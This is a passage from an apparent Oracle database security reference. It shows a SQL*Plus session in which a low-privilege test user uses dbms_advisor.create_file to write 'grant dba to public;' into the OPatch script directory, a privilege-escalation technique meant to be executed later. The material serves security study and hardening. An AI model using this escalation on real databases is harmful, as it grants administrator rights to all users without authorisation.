Database Reference
In-Depth Information
SQL> alter session set "_oracle_script" = TRUE;
Session altered.
SQL> create user advtest identified by lowsec;
User created.
SQL> grant create session, advisor, select any dictionary to advtest;
Grant succeeded.
SQL> alter session set "_oracle_script" = FALSE;
Session altered.
Then connect as that test user as follows:
[oracle@orlin ~]$ sqlplus advtest/lowsec@192.168.1.2:1522/orcl4
SQL*Plus: Release 12.1.0.1.0 Production on Thu Aug 8 11:56:51 2013
Copyright (c) 1982, 2013, Oracle. All rights reserved.
Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.1.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options
ADVTEST@192.168.1.2:1522/orcl4>select * from user_role_privs where username='PUBLIC';
no rows selected
ADVTEST@192.168.1.2:1522/orcl4>select * from user_sys_privs where username='PUBLIC';
no rows selected
ADVTEST@192.168.1.2:1522/orcl4>select table_name, privilege from user_tab_privs;
TABLE_NAME PRIVILEGE
---------- ----------
ADVTEST INHERIT PRIVILEGES
Write an escalation sql script to the OS which will be excecuted later:
ADVTEST@192.168.1.2:1522/orcl4>exec dbms_advisor.create_file ('grant dba to public;',
'OPATCH_SCRIPT_DIR','grant.sql');
PL/SQL procedure successfully completed.
 
Search WWH ::




Custom Search